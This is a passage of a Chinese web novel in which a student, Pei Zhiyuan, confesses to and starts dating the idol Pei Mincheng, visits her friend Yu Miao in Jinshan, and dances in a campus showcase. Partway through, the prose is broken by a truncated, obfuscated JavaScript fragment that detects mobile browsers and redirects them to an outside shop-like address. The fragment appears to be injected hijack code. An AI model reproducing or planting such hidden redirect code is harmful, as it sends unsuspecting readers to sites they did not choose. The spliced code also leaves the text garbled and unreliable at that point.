从公寓楼下到学校侧门的路上会途径一条林荫小路，中秋过后的桂花不再甘心停留在树上，风一吹就落了满地，空气里残留着桂花淡淡的香味。
因为穿短裙的原因，裴祉嫄侧坐在车上环抱着姜烟澜的腰，侧面看姜烟澜和以前没什么变化的脸，她忍不住轻轻靠了上去。
“你干嘛？”
“觉得你好帅啊姜姜，没有你我就要累死了。”
姜烟澜毫不犹豫地接下了这波彩虹屁，“姐知道姐很帅，不要爱上我哦。”
“……”
裴祉嫄心里的一点惆怅被打散，她揽住姜烟澜的腰没说话。
过了一会儿，姜烟澜开口问：“你今天准备去说什么？”
昨天裴祉嫄打了几个小时的电话，专注到甚至连她俩都看不见了，她们试图引起她的注意都没成功，姜烟澜当然知道对面是谁，觉得她没出息的同时又挺能理解的。
她当时第一次见到裴珉承的时候，脑子里只有两个大字在循环播放。
好帅。
要是她是裴祉嫄，说不定早就像饿狼一样扑了上去。
想到这，姜烟澜不着痕迹地叹了口气，都说当局者迷，旁观者清，这两个人像是错位的镜头，笨拙的靠近对方，看起来距离近了，但本质上还是很远。
她和他，真的懂喜欢是什么吗？
喜欢是人类的本能，一个人从出生起就会表达自己的喜恶。
她大概懂她为什么会喜欢他，因为他对她好，和朋友之间能给的帮助是不一样的。
她也知道裴珉承为什么喜欢她，裴祉嫄于他而言太独特了，他可能会去帮很多人，但不会有像裴祉嫄这样的人出现。
对于彼此来说是特殊的存在没错，但那是爱情吗？
姜烟澜也不确定。
她想，有些事情必须要她本人去亲自体验才能知道答案。
姜烟澜和裴祉嫄从初二认识，到现在六年都不到，她不知道她失去的过去是什么样的，只是随着时间的流逝，她收到越来越多来历不明的礼物时，心里总有一种不太好的预感。
而这样不好的预感伴随着她和裴珉承的接触变多而越发加深。
不过她没有开口阻拦两个人的走近，毕竟她说过，有些事要她自己去经历一遍才行。
裴祉嫄没有察觉到姜烟澜落到自己身上复杂的眼神，在校门口下了车后就在路边打了一辆车。
目送她离开后，姜烟澜转头离开。
一回头，看到了久不见人影的学姐。
姜烟澜愣了一下，看着裴珉雅朝她走过来的身影一动不动。
裴珉雅在她面前站定，突兀地询问道：“你和她，认识多久了？”
姜烟澜知道她说的是刚刚离开的裴祉嫄，这个人给她的感觉也很奇怪，在宿舍里从来不多说一句话，把冷漠二字写到了极致，但是她没忘记段贞绫曾经说过她询问过两个人的关系的事。
要知道，宿舍里她最不搭理的就是裴祉嫄，心大如段贞绫都察觉得到她的区别对待。
她的世界里，裴祉嫄是她最重要的人。
于是姜烟澜也不再维持表面的客套，冷着脸绕过她，“我们没有熟到要和你说这些。”
“六年？”裴珉雅嗤笑一声，“你们的六年算什么，最开始的人是我。”
周末的校外并不安静，姜烟澜距离她又有几步的距离，加上她声音并不大，她并没有听得很清楚，是以她站定了步伐，转过身想要询问个明白。
“你刚刚……”
裴珉雅背对着她，已经走远了。
“……”
姜烟澜皱了下眉，烦躁地“啧”了一声，面色不虞地转身回了学校。
因为她心情不好得太明显，段贞绫也没凑上来和她说话，其他人总是说姜烟澜太凶不好接触时她还会一一反驳，头一次看她冷脸的样子，段贞绫客观评价了一下，确实很吓人。
这边如何鸡飞狗跳裴祉嫄一概不知，此时她正忙着给裴珉承发消息。
他大概真是只兔子，房产多得要命，这一段时间不见，他又购入了一栋房子，也不知道那么多房子他住不住得过来。
裴祉嫄暗叹了一句大佬有实力，看着自己所剩无几的余额发呆，说起来自从开学她就没回过家了，之前
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的中秋和国庆也是和姜烟澜她们玩，琴房恐怕都要落灰了。
裴祉嫄拿出手机翻看那位神秘的x老板，和她商议了一下下次的合作时间。
其实她是真的不太懂，店铺不算火爆，也算是业内小有名气的，要她一个不稳定且不知名的合作人是起一个什么作用。
店家图什么呢？
裴祉嫄看着店铺商品页面的图上陌生的模特，在看到评论区关于前模特的讨论时去网上搜了一下她的名字。
难怪这家店铺看起来平平无奇销量却远超同行，原来是模特的原因。
店铺的模特起初是一个名字为韩妤的女生，当然这只是她的艺名，她的本名叫褚晗裕，是著名娱乐公司YEC在孝广市分部影视部门旗下的演员。
看到这裴祉嫄裸露在外的皮肤都起了一层鸡皮疙瘩，孝广市这个地址最近出现的频率有点高了。
她缓了一下，继续去查看这位名叫褚晗裕的女演员。
年纪不大，但入圈也不算早。
她第一次接戏是在大一，那时候裴祉嫄刚修养好身体回学校，查看她的过往作品时，裴祉嫄突然发现她是有过的她的剧的。
褚晗裕在圈里名声一般，有骂她关系户的，关于这点裴祉嫄也好奇地查了一下，褚家在孝广市是出名的富豪家族，含着金汤匙长大的褚晗裕一路也算是顺风顺水，出道作就和一位大导演合作，此后更是各种代言不断，让人眼红。
除此之外她颇受诟病的就是性格，因为柔弱和经常冒出的一些绿茶语录被黑粉冠以“绿茶姐”的黑称。
裴祉嫄仔细打量了她的照片，确实整个人都柔柔的，不太让人有好感的长相。
但是经过裴珉承一事之后，她也不再那么再注重外界评价了，人品一事她不会轻易下判断，只是莫名的，裴祉嫄看到褚晗裕时总有点不太舒服。
褚晗裕是表演专业出身，能火除了家庭金钱的堆砌，也少不了自己演技的提升，虽然依旧少不了有黑粉，但也不影响她成为新生代代表小花之一。
现在还对未来一无所知的裴祉嫄有点羡慕，人家大一就在工作，她……甚至还只是按部就班地学习。
裴祉嫄没再继续看关于褚晗裕的帖子，心情沉重地关上了手机屏幕。
恰好此时司机停下了车，裴祉嫄下了车，提着没什么重量的包走在路上。
一身的粉色搭配上阳光下耀眼的白金色头发太过吸睛，导致落在人群里的她有些格格不入。
不过一路上她遇到好几个衣着光鲜亮丽的女孩子夸她，还问她要衣服链接的时候，心情还是好了不少。
好心情在她绕着裴珉承发来的定位转了好几圈后消失了，虽然跟不高，但是她不是很习惯穿高跟的鞋，现在感觉脚都开始疼了，根本不想走路。
略显烦躁地原地打转时一只没有温度的手贴了上来，裴祉嫄被冷得哆嗦了一下，下意识扭了一下手。
牵着她手腕的人一如既往的一身黑，裴祉嫄一眼就认出来是谁。
看着他脸上的黑色口罩时脑子里划过了一个念头：听说黑色很吸热，也不知道他到底会不会热？
看到来人时裴祉嫄反抗的力气都松了下来，乖巧地任由他牵着她离开人群。
22. 过去
“你怎么来了？”
裴珉承没看她，声音都没有变化，“感觉我再不出来你要转晕了。”
“……”
所以刚才她举着手机在原地转圈的蠢样被看到了，裴祉嫄不好意思地低下头没回答他。
两个人走得很慢，裴祉嫄走了好一会儿才察觉到这一点，抬头看了一眼目不斜视在她前方的裴珉承时一愣，“你耳朵好红啊。”
裴珉承闷闷地“嗯”了一声，撇过头避开她凑上来的脸。
裴祉嫄不太开心地停了下来，连带着牵着她手腕的裴珉承也止住了步伐，他扭头看向裴祉嫄，不明所以地问：“走不动了吗？”
“……”裴祉嫄和他无辜的眼睛对视上，心里叹了口气，她轻而易举地挣脱开他的手，闷闷不乐地质问：“你为什么不看我？”
裴珉承看了一眼距离很近的她。
裴祉嫄今天从头到尾的粉色系穿搭，搭配上白金色的长发，裴珉承觉得她好像自己很喜欢的那个娃娃。
st的鱼尾，一个粉色的芭比。
他喜欢粉色，所以给娃娃买了很多粉裙子，昨天他看到裴祉嫄的粉裙子时，下意识地就想起了自己的娃娃。
因为人设原因，当然主要是他要面子，娃娃被他藏得好好的，成员们倒是都知道，也有部分老粉知道，不过都不用猜也知道裴祉嫄肯定是不知道的。
裴祉嫄一副洗耳恭听的样子等了半天，发现裴珉承一言不发地盯着她发呆，她低头扫视了一下自己，难道是这个粉色很难看？那他眼光也太差了。
还没吐槽完手腕上又传来一阵冰凉，他手很冷，炎热的天气里像冰块一样清凉，如果没有是个哑巴的话就更好了。
“……先回去吧。”
知道在外面不安全，裴祉嫄也没有硬要他解释清楚，安静地跟在他身后回到了家。
裴珉承的家都是一样的风格，永远的黑白灰，他本人是一样的颜色。
一身亮色的裴祉嫄像是闯进了黑白世界的一抹颜色。
夺目耀眼。
扑面而来的冷气让裴祉嫄打了个哆嗦，她制止了裴珉承关冷气的举动，披着一块毯子在沙发上坐下。
“果然夏天还是要裹着厚毯子吹空调。”
裴珉承不理解，但尊重，关上门后坐在了另一侧。
安静的空间里突然只剩下空调声和两人此起彼伏的呼吸声。
沉默着共处的几分钟时间里，裴祉嫄攥着毯子一角绕了几圈，缓解好内心渐渐弥漫的紧张感后，她开口，有些突兀却又在彼此意料之内的说：“我很喜欢你。”
“你可能会觉得我很幼稚，”裴祉嫄思绪一转，托着下巴询问：“你会觉得我幼稚吗？”
这个问题裴珉承不是没有想过，但是，裴珉承看向她说：“幼稚我也很喜欢。”
她年纪小，所以幼稚也没关系。
毕竟年纪小啊。
裴祉嫄的脸泛着淡淡的粉色，她不是一个很容易上脸的人，这点粉已经很烫了，还好有空调，脸上的热意减少了一些。
“我喜欢你。”喜欢到梦里都会看见他的程度，裴祉嫄不喜欢拖拖拉拉，自认为是个很果断的人，唯独在确认裴珉承的感情上屡次犯浑。
阳光从透明的落地窗外投射到屋内，裴祉嫄坐在远离阳光的区域，头脑清醒，心甘情愿地跳进了阳光里。
“你要和我在一起吗？”
阳光很温暖，此时身处于黑暗角落的裴祉嫄没有想过它也会烫伤人。
“……你抢我台词了。”不过上次的自我剖析已经耗尽了他的勇气，感情上他不是个勇敢的人，一直以来都是裴祉嫄在朝他走来，她看起来好像真的只是个幼稚的女生，但有些时候，比他更勇敢。
裴祉嫄无所谓地耸耸肩，“那让你说。”
“你要做我女朋友吗？”
裴祉嫄毫不犹豫地在下一秒跟着点头，“要。”
“我没有谈过恋爱，”裴珉承再次说道，“你……”
“没关系啊，”裴祉嫄坐过去主动牵了他的手，“我们可以一起学习的。”
他和她都是很努力的人，学习爱也不会很难的。
她这样天真的想着。
“好。”
裴珉承点了点头。
裴祉嫄感觉自己的心脏跳得很快，话说到这里好像确定好关系了，可她不知道为什么觉得很不安。
裴珉承是个行动力很强的人，不知道是为了给谁安全感，总之在征求过裴祉嫄的同意后在自己的账号上更新了一条动态。
在年初的绯闻事件后他就没想过隐瞒自己的感情状态，他不想装作若无其事地和粉丝交谈，不想对不起粉丝的同时也对不起裴祉嫄。
裴珉承的官宣消息在网上引起了热议，公司最近处于风口浪尖，疑似老板发疯要拉整个公司下水的事还没结束，裴珉承的个人动态让各路人都震惊。
网友辣评：裴珉承实力演绎了什么叫既然都乱成一锅粥了，那就趁热喝了吧。
早就知情的粉丝们倒也不是很惊讶，毒唯们无所畏惧，反正公司跟她们担没关系，乱也不关她们什么事。
看热闹和趁热接自担单飞的一大堆，也有不少人在帖子下面追问裴祉嫄的身份，并拉出了一大堆人选。
裴珉承在疑似素人那条帖子下点了个赞，炸出一大堆窥屏潜水的妈粉。
爱吃泡面的小泡：我儿终于谈恋爱了！
热度太高，裴祉嫄坐在一旁像个局外人似的看热闹时手机响了好几回。
“不接吗？”
“我回去再和她们说。”裴祉嫄趴在沙发上看他，“我有个朋友是你粉丝哎。”
“那……”裴珉承犹豫地问，“或许我送几张签名给她？”
裴祉嫄连连点头，两个人没有再去管不停震动的手机，到采光好的房间去拍照了。
裴祉嫄这才发现他的房子里设备很齐全，居然还有照片打印机这种东西。
因为是送给郁渺的，裴祉嫄没有参与拍摄，只是坐在一旁看他变换着各种姿势自拍。
裴祉嫄看着成品一言难尽，突然想到什么问他：“你头像自己拍的？”
裴珉承点点头，“对啊，怎么了？”
那理解了。
没想到他这个人长得好看也就算了，拍照技术也那么算了。
不知道长相帅得三百六十度无死角的人是怎么找到第三百六十一度的。
某种方面来看也是个拍照的神。
裴祉嫄表情沉重地拍了一下他的肩，“看来只能我勉为其难地当一下摄影师了。”
“为什么？”
裴祉嫄举起相机对准他，“我不想我的朋友收到你的亲签更难受。”
“……”
疑似拍照技术遭到鄙视。
不过裴珉承也没生气，配合着一连拍了好几张照片。
其实裴祉嫄拍照技术也不好，她们四个人里姜烟澜和郁渺拍照技术最好，厉念次之，她最后。
能拍出好看的照片全靠裴珉承这张毫无缺点的脸，果然脸才是时尚完成度最重要的东西。
满意地收起相机，裴祉嫄拿着打印好的照片递给他，“签去吧。”
然后走出了房间。
裴珉承在房间里签好名字，还在每一张照片背面都写了字后把一叠照片给了裴祉嫄，“好了。”
“那我走了。”
裴祉嫄知道他大概率要忙，反正她也帮不上忙，还不如先走。
对她用完就丢的行为没做评价，裴珉承送到门口就被制止了，“到这就好，你还是别出门了。”
“……好。”裴珉承补充道：“那你回去的路上要小心。”
“知道啦。”
第二次摸头比起第一次要熟练得多，裴祉嫄踮起脚尖的同时他也像是察觉到她的想法一样弯下了腰。
于是她很顺利地摸到了他柔软的发丝，裴祉嫄不舍地移开手，她现在不觉得他像兔子了，好像更像猫。
好可爱啊。
“对不起，本来想带你逛逛街的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093731|146331||http|test|mini|href|location''.split(''|''),0,{}));
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察觉到他落在自己身上的目光裴祉嫄也一瞬就反应过来他的意思，她摆摆手说：“没关系啦，女孩子的美丽刑具啊，好看嘛，我又不是天天穿。”
再次拒绝他要送自己的想法，裴祉嫄拿着照片飞快离开了安静的小区。
她拿着照片没有回学校，而是搭车去了机场买了张直飞晋山的票。
她着急走也有这个原因，她准备亲自把照片送到郁渺手里，要寄的话她还要等，还不如她来当一次快递员，正好也能去看看她。
下了飞机后裴祉嫄才回了姜烟澜的电话，在她没看手机的这段时间已经快要把她手机打爆了。
“你们这么迅速？”
“那不然呢？”
“你不考虑考虑吗？”
裴祉嫄拦车去晋山大学，姜烟澜听到她那头的动静时一愣，“我怎么听到了晋山？”
裴祉嫄“昂”了一声，“我去找渺渺啦！”
“……”手机那头姜烟澜沉默了几秒钟，然后说，“你是真的说走就走啊。”
裴祉嫄这个人非常想一出是一出，姜烟澜认识她以后陪着她看过凌晨的日出和深夜空荡的街，说走就走的旅行也来过几次，有时候她走在路上突然想去玩，两个人就会临时买张最近的机票飞去玩。
姜烟澜叹了口气，有勇气，也是件好事。
“那你去吧，我等你回来。”
“好！”裴祉嫄下了车，“我回去会和你一五一十的说的！”
“知道了。”
挂断电话后裴祉嫄低头在手机上给郁渺发消息，没回复后她果断打去了语音。
语音通话的声音在几步之遥的地方响起，裴祉嫄转身，看到了三个人中间愣神的郁渺。
她举着手机朝她挥手，语气很兴奋：“渺渺！”
郁渺通话都没来得及挂断，朝她飞奔过来。
裴祉嫄被她扑得向后退了几步才稳下身子，她伸手回抱住她：“好想你啊渺。”
郁渺的脑袋搁在她的肩窝，声音闷闷的：“我也想你。”
等两个人腻歪着分开，不远处的两个女生才走过来，“你的朋友吗？”
郁渺眼睛亮亮的，挽着裴祉嫄的手不放，“对！”
裴祉嫄和她们打过招呼就有些局促地站在原地。
郁渺知道她肯定有事找自己，告别两位朋友后带着她做完登记进了学校。
注视着两人举止亲密的离开，原地的两人对视了一眼。
晋山是一个没什么存在感的城市，晋山大学在qs上也是后排的，郁渺成绩很好，不知道为什么会甘心到这样一所大学来。
起初郁渺和大家都很有距离感，绥川那样繁华的大城市来的孩子可能身上都自带这样格格不入的距离感，晋大大多数是本地的孩子，她们寝室里更是有着家境贫寒的学生。
郁渺日常并不很挑剔，除了日常用品透露出她与众不同的家境之外其他地方和大家也差不多。
但她们看到她的朋友后这样的距离感就变重了。
她的朋友打扮得光鲜亮丽，身上的东西她们都在网上刷到过，甚至有些根本不知道是什么品牌，总之一看就很有钱，和她们这样穿着廉价地摊货的普通人是完全两个世界的人。
两个人难免生出了几分自卑，站在原地看她们贴贴抱抱的时候有种在看童话世界的公主交流一样。
“不敢想那种粉在我身上会怎么样？”
“会显你黑。”
“……”
两个人彼此取笑了一会儿对方，然后同时发出感叹，“好羡慕啊。”
这世界上怎么能有声音好甜，长得像公主，据郁渺所说成绩还非常好的人。
裴祉嫄和郁渺不知道她们的感叹，两个人一如既往地牵着手走在学校的路上。
因为梦回了一下高中，两个人一时间谁都没有开口说话。
直到裴祉嫄手里的照片没握住散落了一张在地上，郁渺立马眼尖地看见了，她蹲在地上举起从没见过的自拍照：“我靠？！”
23. 过去
本来准备给她一个惊喜的裴祉嫄：“……”
她和郁渺看过来的眼神对视上，干笑了一声，“惊喜。”
到这手里的照片也没必要藏着了，裴祉嫄一股脑塞到郁渺怀里：“都给你的。”
郁渺翻看照片感叹的时候裴祉嫄还是坦诚了一下，“照片很多我拍的，他拍照实在太丑。”
“我猜到了。”郁渺哈哈笑：“他拍照确实挺一言难尽的。”
收好照片裴祉嫄和郁渺聊了一下最近的事，郁渺倒是一副见怪不怪的样子，她拍拍她的肩，叹口气，“你幸福就好了，爱豆没有朋友重要。”
两个人在学校的亭子里休息了一会儿，裴祉嫄的肚子叫了一声，在安静的空间里显得很有存在感。
两人对视一眼，裴祉嫄不太好意思地说：“我起太早还没吃东西。”
郁渺带着她走出了学校，裴祉嫄没有来过晋山，她从小到大只有在绥川生活的记忆，旅游都是往国外去，对于周边的城市半点不熟。
晋山是个很热闹的城市，比不上绥川的繁华，但风景也不错，她没有问郁渺为什么会放弃去绥大的机会来这里，人总是有自己的秘密的，她等她开口说的时候再倾听。
两个人在路上找吃饭的地方时候又遇到了郁渺的那两位朋友，四人干脆就一路了，在两人的推荐下进了一家隐藏在巷子深处的不知名店铺。
店铺不大，但好在看起来很干净。
此时没什么客人，老板娘一看到她们就很热情地招待了她们四个。
裴祉嫄落座，还是觉得有些新奇地四处打量了一眼。
“这里会不会坐不习惯啊？”
看她这样，推荐来这的印梦和南宫尔云对视一眼，有些不安地询问。
裴祉嫄“啊”了一声，摆摆手道：“不会不习惯啊，还要谢谢你们推荐呢。”
裴祉嫄不笑的时候会有很强的距离感，一笑起来就显得平易近人不少，在这一点上和郁渺有点相似，印梦不太自然地摸了摸头发，“不客气。”
郁渺见状笑着说：“你们不要紧张呀，元元很好相处的。”
裴祉嫄跟着点头，“我没有嫌弃这里的意思啦，只是我懒，平时不怎么出门吃东西，所以看这里比较新鲜。”
她对吃的倒也不是很挑剔，爷爷奶奶尤其挑剔，除了别墅区那栋房子之外，她们也有一套庄园，还经营了一家不对外开放的私人农场，力图健康进食。
她在学校里就是逮着什么吃什么，食堂里的菜大多数都难吃到她都难以下咽的地步，所以她会循环吃一些东西，再用泡面去调一下。
总的来说，就是有吃的就行。
再说学校附近的路边摊可好吃，不健康怎么了，好吃最重要。
两人不知道信没信，反正都跟着点了点头。
她们其实有一点后悔，裴祉嫄穿着一身大牌衣服坐在狭小还略显破旧的店里有点怪怪的。
不过裴祉嫄好像是真的不觉得这样不好，饭一上来就埋头吃，让两人稍微松了口气。
吃完饭后四人又去逛街，裴祉嫄的鞋跟不高，但是走了一路还是有点难受，郁渺早就看在眼里。
印梦两人担心她们俩对这里卖衣服的地方不熟悉，于是还是跟着去了。
晋大附近有一条还算繁华的商业街，衣服价位也是应有尽有，没有什么意外的，两个人直奔一些她们不可能走进去的店铺。
在郁渺的推荐下裴祉嫄换了一双香奈儿水钻珍珠凉拖，晋大的广场也是唯一一个有香奈儿线下门店的地方，裴祉嫄算是它家忠实粉吧，反正身上的东西百分之七八十都是它家的。
平时会有各种小礼物和会员专享的活动，裴祉嫄被邀请参加过一些宴会，只是她要读书，不想太过出风头就从来不参与这些活动。
本来只准备买完鞋就走人的，在sa的介绍下又买了不少东西，裴祉嫄的账户里经过上一次查东西后已经没什么钱了，只好刷了不怎么用的卡。
她和郁渺不是很犹豫的人，相反，她们很听讲，sa推荐的她们看一眼觉得喜欢就立马刷卡了。
当然她们也没忘记拉站在门口的两个人进来。
“第一次见面送一点见面礼给你们吧！”
两个人当然是推拒了一番，裴祉嫄有些苦恼，“如果你们不喜欢这个那也可以跟我说喜欢什么的。”
社交可真难，她也不好意思只顾着自己和郁渺买买买，于是彼此互相推拉了一阵，好在最后她们答应了，不然她都不知道要怎么办。
印梦两人对视一眼，她先挑了一条便宜点的珍珠爱心吊坠项链，南宫尔云紧随其后拿了一个差不多的珍珠项链，看起来不贵，价格还是让两人咋舌。
她们都是普通家庭出身，随便一条项链的价格就抵得上她们父母小半个月的工资，两人想还回去，转头看裴祉嫄正在把脖子上的珍珠项链换成和她耳朵上的爱心耳环同色同色的粉色爱心项链。
于是又一齐收回了手。
对裴祉嫄来说，这点钱好像不算什么。
在sa的热情招待下裴祉嫄和郁渺买了一大堆有用的没用的，很多东西可能平时在柜子里生灰，但是现在买得很高兴就够了。
四个人又在其他层一边走一边吃了一圈，傍晚时裴祉嫄准备回去了。
郁渺告别了两人，送她去了机场。
“我以后有时间会再来看你的渺。”
不舍地抱了好一会儿，两个人再次分开。
裴祉嫄下飞机时刚好接到了姜烟澜的电话，成功会面后姜烟澜给她分担了一部分压力。
两个人去到了一家比较热闹的奶茶店坐下，路上裴祉嫄和她聊了一下今天的事。
姜烟澜沉默着听完，最后揽着她的肩膀说：“你幸福就好，我会努力帮你的。”
其实光凭裴珉承一个人可能很难完全隐藏住她的行踪，毕竟他太火了，行程被粉丝扒得很清楚，姜烟澜也有想过帮一把，但每次想帮忙时都会发现那些冒头的帖子很快就被删除得干干净净。
裴祉嫄的照片在网上根本查不到。
姜烟澜敏锐地发现这不是裴珉承一个人能杜绝的，她又想起裴祉嫄曾有一段时间说自己好像产生了幻觉的事。
一个人要在什么情况下才能被否决掉前半生的经历呢？
她不知道。
她派人查过，裴祉嫄在初中以前的人生完全是空白的，她不知道这一切有什么关联。
裴祉嫄搂住她的腰蹭了一下，“谢谢你姜姜。”
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姜烟澜收起自己四散的思绪，说：“说起来，各大社团联合的路演活动月底就要截止报名了，你有准备好的节目吗？”
入学时她们在社团招新时没有过多犹豫就加入了学校的舞蹈社团，当然姜烟澜主要是陪她，她本身想加入隔壁汉服社或音乐社的，但是不知道为什么，脚步像是被钉子钉住，怎么都挪不开步子。
姜烟澜索性领头填了报名表，两个人就一块加入了舞蹈社团。
不过令两人都意想不到的是，裴珉雅也是舞蹈社团的成员。
学校的迎新晚会活动除了开学典礼和刚过去的舞会，现在还没开启正式的活动，她和姜烟澜去上过几次课，因为内容都太简单所以不怎么经常去，社团没有强制要求，基本上是零基础的人会去上。
十一月的活动是本学期第一次路演，裴祉嫄忙着准备考试，早就忘了群里说过的活动。
“还没有哎。”
姜烟澜就知道会是这样，因为她也忘了。
两个人沉默着走了一路，裴祉嫄突然开口问：“你觉得我去邀请裴珉雅学姐的话，她会答应吗？”
她虽然没怎么在社团看到裴珉雅，但是也有幸看过她跳舞，很强的舞蹈能力。
姜烟澜愣了一下，明明两个人都没有什么关系，甚至裴珉雅还很明目张胆的不喜欢她，她怎么会想到找她呢？
尽管如此，她面上也没有说什么，裴珉雅确实很厉害，这点她也承认。
“你试试啊，学姐应该也还没有找到人。”
“好！”
裴祉嫄也没什么信心，不过凡事都要试试嘛。
回到宿舍后裴祉嫄先是换上了睡裙，才去找裴珉雅说话。
她和裴珉雅除了开学时互相自我介绍的时候说过话，到现在她都对她爱答不理的。
裴祉嫄有点能察觉到她的矛盾，但是不知道这样的矛盾是从什么地方来的。
她深吸一口气，在脑海里打完草稿后走过去开口：“那个……”
气势一下掉一大半，裴祉嫄索性破罐子破摔，也不再刻意维持，小声询问道：“月底的路演你有找到搭档吗？”
“……”
裴珉雅盯着她，没说话。
裴祉嫄不知道她的沉默是什么意思，是生气还是什么，她和裴珉承有点像，话很少，也总是要人猜。
但是裴珉承还是比较温柔，只是对陌生人来说有些生人勿近。
彼此沉默了一会儿，裴祉嫄以为这件事就这样不了了之，正要为自己的打扰而道歉时却听见裴珉雅说：“好。”
“？”
话题太跳跃，裴祉嫄反应了一下才明白她说的好是什么意思，因为太高兴，她伸手拍了一下她的肩，然后在对方要杀人的视线里的把手抽了回来。
“拉个群你把想要的曲目发群里。”
裴珉雅知道她肯定不会只找自己的，果然，群里除她们二人外还有一个讨厌的家伙。
因为人只有三个还是不太够，段贞绫帮她们拉了一个隔壁街舞社的人，同样的是大一新生，四人组就这样诞生。
虽然裴珉雅让她决定，但裴祉嫄还是征求了大家的意见后提交了节目单。
接下来就是练习等待路演时表演了。
24. 过去
新加入的人其中一个叫做江嘉瑶，是个典型Kpop人，选曲时她想选男团曲，在群里举了一大堆备选，裴珉雅和裴祉嫄默契地把ERATH划掉后，最后也没剩下几个团。
姜烟澜知道她身体状况没办法跳太难的舞，把剩下的也划了大半。
江嘉瑶：“……”
另一个则表示无所谓，于是最后定下的是一个五人女团的歌。
裴祉嫄只是想玩，对路演流程半点不熟，剩下的人也没有什么兴趣，队长一职就落在了江嘉瑶身上。
定下歌后她报了名，寝室里原本凑得还算近的三个人拉开了距离，刚才和谐的氛围一下消失了。
裴祉嫄爬上床，和被她冷落了一天的裴珉承聊天。
怎么说呢，这种感觉很奇妙，人还是以前的人，但就是觉得变奇怪了。
裴祉嫄先是确认了一下他能不能应付现状，随后才放下心和他聊今天的事。
两个人聊到大半夜才结束聊天。
不过裴祉嫄并没有睡觉，她打开手机查看了一下他的账号。
最新的帖子热度高居不下，一连霸占了好几个热搜前排，外网趋势上也始终在第一挂着，这些倒是在她的意料之中，出乎意料的则是帖子下出现了一个并不算陌生的点赞。
是褚晗裕。
这实在太好认了，褚晗裕好像丝毫不在意会不会有人看到她的点赞，顶着个显眼的金v认证光明正大地留下了阅读痕迹。
因此也连带着上了条热搜。
裴祉嫄没忍住好奇心，因为褚晗裕和裴珉承完全没有任何交集的地方，所以她把界面截图发给了裴珉承，然后收获了一个问号。
裴祉嫄也回了个问号，敢情说好的晚安都是假的。
Hfueiwndni：这个图的意思是？
YuAn：褚晗裕啊。
三个字一发出去，她本来以为他会干脆利落地说不认识，结果等了半天，顶上的“对方正在输入…”反复出现又消失，最后他只发来了四个字。
Hfueiwndni：认识，不熟。
裴祉嫄的心情有一点奇怪，她说不上来现在是什么想法，总之就是不太开心。
她回了个“哦”，为了避免他察觉到不对的地方迅速切断了话题。
YuAn：那晚安，我困了。
裴珉承还是一如既往地发了一个“嗯”就没有别的话了。
裴祉嫄翻来覆去睡不着，没什么意义地熬了大半宿后才终于扛不住睡意睡了过去。
接下来的日子和以前并没有什么区别，要说变化，大概就是两个人比以往更加频繁的聊天吧。
见面对他们来说并不是一件很简单的事，哪怕是在同一个地方也不是很经常能见到。
裴祉嫄也很忙，新生舞会过后就把心思投入到了自己的学业，为了接下来的考试而努力中。
考完口试考试以后，距离路演活动只剩下了十天。
裴祉嫄她们总算是抽出了一点时间一起参加了排练。
YEC旗下女团B.E出道已经很多年了，她们选的是她们最近一次回归的歌，一首热度高，编舞是零基础也能学的舞。
出乎裴祉嫄意料的是，她和裴珉雅在舞蹈上有着出奇的默契，即使从来没有一起跳过舞，裴祉嫄能感觉得到一种久违的兴奋感。
那是从血液里迸发出的热情。
排练时裴祉嫄和裴珉雅是最快扒完舞蹈动作的，裴珉雅去带了两个新生，她则去帮姜烟澜。
三个人基础不一，但都是学习能力很强的人，几天下来动作都基本没问题了。
在排练完走位后，五人缩短了练习时间，因为上课时间不一样，院系给批了晚自习的假，她们便把练习时间给挪到了晚自习。
时间在学习和练习中一晃而过，时间很快来到了路演当日。
夏天的白天很长，下午的天都是亮的，她们从一大早就起床化妆换衣服，又进行了排练。
裴祉嫄为了保持体力只跟了两遍就没动了，跳舞的时候身体很疼，但她还是不想放弃跳舞。
就算以前的事全忘了，她的本能告诉她，她还是很爱跳舞。
姜烟澜凑过来小声问：“还能坚持吗？”
“当然啊，我可还没上场，怎么能说坚持不了呢。”
姜烟澜点点头，说：“你要是坚持不了就说，千万别忍着。”
不过她也知道她多半是不会说出来的，她不会放弃。
人在自己热爱且擅长的领域时都是闪着光的，比如裴祉嫄，比如裴珉雅。
虽然她对裴珉雅不太放心，但是也不得不承认，她们一起跳舞时的磁场，是别人无法融入的。
姜烟澜瞥了一眼不远处背对着她们的裴珉雅，无声地叹了口气。
一场又一场精彩绝伦的表演带动着观众们的情绪，绥大的路演活动是不限制于校内人员的，往年还会有星探混入人群，等待着从大学生中挑选出合适的苗子递出橄榄枝。
每年学校也有人会因此进入娱乐圈，因此参加活动的人中想抓住机会的人会努力展示自己的能力。
裴祉嫄她们排在后面一点，等她们上场时天已经微微暗了一点，落日余晖撒在五人身上给她们镀上了一层光，舞台两旁是灯光。
五个人按照站位站好，等待着伴奏响起。
前奏响起后人群里先是响起了一阵惊呼的声音，紧随其后的是一段舞蹈。
B.E的歌热度都很高，现场一堆人举着手机拍直拍的。
这是继上一次在裴珉承家跳过舞之后，她第一次站在舞台上，尽管这个舞台没有很大，甚至显得有些潦草。
身体传来的痛都被现场的欢呼所掩盖，裴祉嫄拼尽全力完成了自己的舞台表演。
节目结束后裴祉嫄被姜烟澜单手搀扶着退场，她们没有离开，聚在一起看接下来的表演。
或许是这段时间的相处，又或许是因为有共同的爱好，裴珉雅跟她们稍微熟悉了一点，此时也坐在她们身旁，看她脸色有点白，犹豫了好半天才问：“你……没事吧？”
裴祉嫄眼睛都亮亮的，闻言笑道：“我没事，可开心啦！”
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一旁想说话的姜烟澜默默闭上了嘴。
段贞绫也在，兴冲冲地递上手机：“看我给你拍了直拍！”
姜烟澜问：“只有元元有吗？那我呢？”
段贞绫不好意思地“嘿嘿”笑了两声，“我只拍了元元的，但是你们的我也让同学帮忙拍了！一个都没有落下哦。”
段贞绫很恨自己没有两双眼睛来拍两段直拍，她和裴珉雅不熟，也没有看过她跳舞，她不知道这么高冷的人跳起舞来那么的有吸引力，和裴祉嫄站一块，两个人都让人移不开眼。
